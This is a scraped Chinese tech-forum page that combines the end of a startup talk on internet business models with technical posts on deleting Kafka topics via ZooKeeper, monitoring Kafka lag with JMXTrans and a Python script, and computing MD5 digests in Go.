第五,我们在创业的过程,哪怕是开一个小店,开一个O2O的加盟店,没有关系,都是从小开始的,边做一边把项目做起来,完善构想,并同时找到投资。如果你刚创业的公司,创始人跟高管如果拿高工资,最后成功的概率是非常低的,哪怕拿了钱。我觉得这个标准公司如果盈利之后,公司的创始人和高端拿高工资是可以的,或者是用奖金,特别是你是创始人,你想想如果拿高工资,低下的员工拿低工资,大家的心态就不一样了。

第六,刚创业的公司如果创始人和高管拿高工资,最后成功的概率很低。创业过程中忽悠投资也是一种能力的体现。在PC互联网时代,当时李修平做好123,后来被百度收购,我们回头去看,当李修平拿到投资,就不值1200万,可以做成大的公司。好123因为有足够的时间,专注于做一件事,现在根本不行,你出一个创意,出一个产品就有了一个拷贝,所以你更需要拿到投资,快速的把它做大。
 
最后我想分享一下,互联网和移动互联网最重要的几个特点。

对于一些类聚,就是强者更强,快鱼吃慢鱼。我们知道当时三大门户,以美国为例子,美国1999年的时候,美国有四大门户,当时这四大门户都价值上百亿的美金,现在只知道雅虎,这其实就是强者更强的时代。所以我们在做的时候,怎么样能够快速做大?在这个市场中存在,比如前三名,第一名的价值最大,第二、第三名的价值就会递减。

第二就是众包,让更多人为你免费打工。我们知道2005年的时候美国的一个视频分享网站,这个网站当时16.5亿美金卖给谷歌,员工只有38个人,38个人创业用了一年,这是不可思议的,一个公司从1年多30几个人创造一个十几亿美金的市值,窍门在哪里?不是这38个人,因为他的是几百万人,几千万人,这帮人上传视频、分享视频、管理视频,免费为他们打工。在美国今天有一个类同于今天的微信的软件,他已经有9亿的用户,但是到今天他们的员工还没有超过60个人。这也是啊一个典型的让所有人为你打工,每个人每天在分享信息,每个人在互相搭建内容,所以这个公司的价值能达几百亿美金。

第三是分享,也就是我们今天通俗的说法就是社交网络,我们善于利用社交网络来做传播和分享。以前你在长沙开一个店,做广告,你的选择就是上报纸或者是上电视。今天你其实可以找到一些免费的,在58同城里面放,或者是在微信的帐号里面、朋友圈里传播,这就是方向,要善于利用分享的方式。

我们未来的创业我相信大家已经各种各样的有思考,看到不同的一些创业的机会。在未来其实有三个东西会更值得我们去思考。

第一个是能够把闲置资源重新优化分配,比较成功的案例就是UBER,国内成功的就是滴滴、快的。第二是airbnb,是一个很好的平台,把闲置的房子出租给有需要的人,他们的公司都是市值几百亿公司,为什么这些公司先成功?因为他们抓住了人们最需要的,一个是租车和租房。其实我们的运输、物流、餐饮,能不能把闲置的资源重新组合,重新优化,这是非常大的空间,包括今天我说的O2O,也是其中一个范畴。

第二是能够把复杂的事情简易化、功能单一明确。当时三大门户,但是现在进入到个性化的东西,有时候越简单越单一的,反而获得认同。比如说美图秀秀,一个是Snapchat,在中国还没有看到成功的,有模仿的。当时推出一个很简单的过程,两个人聊天,24小时之后聊天消失,获得了非常多的用户,成为facebook非常重要的对手。我们把不能把复杂的事情简单化、简易化,这个市场空间非常大。随着90后、00后,很快进入10后,他们的需求肯定更加的个性化,我们可以做出不同的个性化产品去满足他。

第三,能够改造传统流程颠覆固有模式,这样的公司会胜出。以小米为例,我知道小米是最近中国几年成长最快的公司。比如说以前联想要做一个手机,流程是这样的,他先派出很多专家,很多的市场调查人员到全国各地调查,这个市场有什么样的需求,大家需要什么样的手机,我们要定什么样的价格?反馈回来的专家的意见到杨元庆这里,他来拍板,我们生产什么样的手机,价格定多少元,基本上是这样的。定完之后开始给工厂生产,等生产完之后开始做广告,电视、媒体、报纸各种各样的渠道,甚至雇明星做代言。然后再往下铺渠道,联想更强的就是铺渠道,最终送到消费者手里。

小米其实已经把里面的很多过程减掉了,他先出一个口号,我要为发烧友创造一个手机,底下有一堆人响应,他问你们大概需要什么样的手机?配置需要什么样的?你们对款式有什么的需求?通过微博,下面就有一大堆的意见和评论,这是免费的参谋。然后得出这个市场需要什么样的手机,这个需求有多大,但是他还不确定,还不拍板马上生产。在网上他会说你们要买吗?要买的话就登记,这样的数据更精准了,最终下定我们要做生产,要50万还是100万部手机。包括定价也是通过互联网的这种方式收集,最终定出一个比如当时的1999的价格。等定价完了,大家就变成抢购,他不需要明星代言,不需要渠道,直接工厂发货到用户手里,把中间的流程减掉了,所以能快速

不单单水,未来你们想象一下,这里的空间太大了,现有的传统的经济模式其实未来都会被颠覆,看谁能够先进入。

最后一页是回到开场白,未来的时代是一个未知的时代,未来什么都有可能发生,主持人说到一个理念,2045年零工具人可能超过人类,进入到半人半机械时代。就像《三体》,未来有很多的空间,很多让我们想象,最富有想象的人,最富有挑战的人最终一定会成功的。
  收起阅读 »

kafka删除topic分析

官方kafka中提供了创建和查看topic的命令: 从0.8的官方文档提供了一个删除topic的命令: kafka-topics.sh --delete[size=13] [/size] 但是在运行时会报错找不到这个方法。 kafka-to...
继续阅读 »
官方kafka中提供了创建和查看topic的命令:
seekafka.png

从0.8的官方文档提供了一个删除topic的命令:
kafka-topics.sh --delete[size=13] [/size]

但是在运行时会报错找不到这个方法。
kafka-topics.sh最终是运行了kafka.admin.TopicCommand这个类,在0.8的源码中这个类中没有找到有delete topic相关的代码。
 
在kafka的admin包下,提供了一个DeleteTopicCommand的类,可以实现删除topic的功能。 
kafka.admin.DeleteTopicCommand 
其中删除topic的具体实现代码如下:
import org.I0Itec.zkclient.ZkClient
import kafka.utils.{Utils, ZKStringSerializer, ZkUtils}
.......
val topic = options.valueOf(topicOpt)
val zkConnect = options.valueOf(zkConnectOpt)
var zkClient: ZkClient = null
try {
zkClient = new ZkClient(zkConnect, 30000, 30000, ZKStringSerializer)
zkClient.deleteRecursive(ZkUtils.getTopicPath(topic)) //其实最终还是通过删除zk里面对应的路径来实现删除topic的功能
println("deletion succeeded!")
}
catch {
case e: Throwable =>
println("delection failed because of " + e.getMessage)
println(Utils.stackTrace(e))
}
finally {
if (zkClient != null)
zkClient.close()
}
因为这个命令只会删除zk里面的信息,真实的数据还是没有删除,所以需要登录各个broker,把对应的topic的分区数据目录删除,也可能正因为这一点,delete命令才没有集成到kafka.admin.TopicCommand这个类。
 
Kafka删除的操作,首先,在zookeeper的/admin/delete_topic中添加要删除的topic,此时并不真实删除broker中的数据。

如果Kafka的配置中配置了delete.topic.enable=true,broker检查到zookeeper中的delete_topic中有要删除的项时,才会真实的去删除topic数据。否则(delete.topic.enable=false),topic数据不会被删除。 收起阅读 »

kafka的监控和告警

其实对于大多数用kafka的人来说,一般都会选择两个开源的工具:KafkaOffsetMonitor和kafka-web-console,这两款我都有用过,而且各有优缺点。   KafkaOffsetMonitor:最大的好处就是配置简单,只需要配个zooke...
继续阅读 »
其实对于大多数用kafka的人来说,一般都会选择两个开源的工具:KafkaOffsetMonitorkafka-web-console,这两款我都有用过,而且各有优缺点。
 
KafkaOffsetMonitor:最大的好处就是配置简单,只需要配个zookeeper的地址就能用了,坑爹的地方就是不能自动刷新,手动刷新时耗时较长,而且有时候都刷不出来,另外就是图像用了一段时间就完全显示不了了,不知道大家是不是这样。
 
kafka-web-console:相比与前者,数据是落地的,因此刷新较快,而且支持在前端自定义zookeeper的地址,还能列出实时的topic里的具体内容。但是搭建比较复杂,而且github上的默认数据库是H2的,像我们一般用mysql的,还得自己转化。另外在用的过程中,我遇到一个问题,在连接kafka的leader失败的时候,会一直重试,其结果就是导致我kafka的那台机子连接数过高,都到2w了,不知道是不是它的一个bug。
 
而且我们还得关心其他指标吧,http://kafka.apache.org/documentation.html  里的momitor部分不是列出了那么多监控项么,迫不得已,我得靠自己去另辟新法,我现在的做法是用ganglia来做监控。 哈哈,github上一搜,有戏,https://github.com/criteo/kafka-ganglia,只需要在server.properties里添加几个配置项就解决问题了,结果反复试验都没有成功,一看都一年没更新了,估计是版本问题吧,也懒得管他了。
 
当然还有个比较傻一些的办法,用CSVMetricsReporter,在配置文件中开启之后,就会把相应的指标分别写入到csv文件中,然后再用脚本去采集即可,这个的确是可行的,但是对资源的消耗比较大, 等等,不是还有这个嘛https://github.com/adambarthelson/kafka-ganglia  ,用JMXTrans来做,修改kafka配置,将其jmx端口暴露出来,然后用JMXTrans把数据发到ganglia,你的JMXTrans的配置文件可以是这样:
 
{
"servers": [
{
"port": "9999",
"host": "xxxxxx",
"queries": [
{
"outputWriters": [
{
"@class": "com.googlecode.jmxtrans.model.output.GangliaWriter",
"settings": {
"groupName": "jvmheapmemory",
"port": 8649,
"host": "xxxxx"
}
}
],
"obj": "java.lang:type=Memory",
"resultAlias": "heap",
"attr": [
"HeapMemoryUsage",
"NonHeapMemoryUsage"
]
},
................#[size=16]#其他配置[/size]
]
}
这里可以把http://kafka.apache.org/documentation.html  里列出来的mbean都加入进来,而且jmxtrans还支持GraphiteWriter,这样数据就落地了,你再想怎么处理就很easy啦。

若是你仅仅是想监控lag和logsize这些指标,亦如KafkaOffsetMonitor中展示的那样,这里提供两个方法:




用bin/kafka-run-class.sh kafka.tools.ConsumerOffsetChecker --zkconnect localhost:2181 --group test就能列出你想要的,你可以写个脚本去定时获取lag,再制定出大于多少就发告警邮件啊什么的。
 




用命令行的方式总感觉不像脚本该做的,有没有client可以去获取呢,答案是有,我就把我用KafkaClient和KazooClient获取lag的脚本贡献给大家吧:
#!/usr/local/bin/python
from kafka.client import KafkaClient
from kafka.consumer import SimpleConsumer
from kazoo.client import KazooClient

# Zookeepers - no need to add ports
zookeepers="localhost"

# Kafka broker
kafka="localhost:9092"

#consumer group
group="test"

if __name__ == '__main__':
broker = KafkaClient(kafka)
lags = {}
zk = KazooClient(hosts=zookeepers, read_only=True) #zookeeper客户端,read_only确保不会对zookeeper更改
zk.start()
logsize=0
topics = zk.get_children("/consumers/%s/owners" %(group))
for topic in topics:
logsize =0
consumer = SimpleConsumer(broker, group, str(topic))
latest_offset = consumer.pending()
partitions = zk.get_children("/consumers/%s/offsets/%s" %(group, topic))
for partition in partitions:
log = "/consumers/%s/offsets/%s/%s" % (group, topic, partition)
if zk.exists(log):
data, stat = zk.get(log)
logsize += int(data)
lag = latest_offset - logsize
lags[topic] = lag
zk.stop()
上面的lags就是一个当前topic的lag的字典咯,其实大体的逻辑就是通过SimpleConsumer获取到当前的offset,再由KazooClient对zookeeper层层剥皮,获取topic和partition的信息,得到每个partition的logsize后累加与offset比较,就能有lag信息了,之后你想干嘛干嘛了,比如发报警邮件等等。当然也可以像KafkaOffsetMonitor那样做自己的展示了。


分享阅读原文:http://www.opscoder.info/kafka_monitor.html


收起阅读 »

Golang两种MD5加密方式

代码 package main import ( "crypto/md5" "encoding/hex" "fmt" ) func main() { // md5 加密的第一种方法 srcData := []byte("iyannik0215...
继续阅读 »


代码


package main

import (
"crypto/md5"
"encoding/hex"
"fmt"
)

func main() {
// md5 加密的第一种方法
srcData := []byte("iyannik0215")
cipherText1 := md5.Sum(srcData)
fmt.Printf("md5 encrypto is \"iyannik0215\": %x \n", cipherText1)

// md5 加密的第二种方法
hash := md5.New()
hash.Write(srcData)
cipherText2 := hash.Sum(nil)
hexText := make([]byte, 32)
hex.Encode(hexText, cipherText2)
fmt.Println("md5 encrypto is \"iyannik0215\":", string(hexText))
}
# 执行结果
md5 encrypto is "iyannik0215": b6b20c73e6bc53bc691a6bb559cf9ca9
md5 encrypto is "iyannik0215": b6b20c73e6bc53bc691a6bb559cf9ca9


不同


解释一下两种加密方式的不一样之处.
第一种加密方法:
第一种加密方法所调用的函数
//Source file src/crypto/md5/md5.go
19 // The size of an MD5 checksum in bytes.
20 const Size = 16

130 // Sum returns the MD5 checksum of the data.
131 func Sum(data []byte) [Size]byte {
132 var d digest
133 d.Reset()
134 d.Write(data)
135 return d.checkSum()
136 }
func Sum(data []byte) [Size]byte
其 [Size]byte 是固定死的.所以说第一种方法返回的是 16长度的数组.
第二种加密方法:
//Source file src/crypto/md5/md5.go
50 // New returns a new hash.Hash computing the MD5 checksum.
51 func New() hash.Hash {
52 d := new(digest)
53 d.Reset()
54 return d
55 }
// 这里只放了函数签名部分, 关于函数具体内容这里就不详细复制了.
51 func New() hash.Hash {}
61 func (d *digest) Write(p []byte) (nn int, err error) {}
90 func (d0 *digest) Sum(in []byte) []byte {}
这里使用 func New() hash.Hash {} 函数进行生成对象.
使用 func (d *digest) Write(p []byte) (nn int, err error) {} 方法进行写入要加密的数据.
使用 func (d0 *digest) Sum(in []byte) []byte {} 方法进行数据的加密 看其返回值.
[]byte 可见使用第二种方式加密返回的是 []byte 类型的切片. 收起阅读 »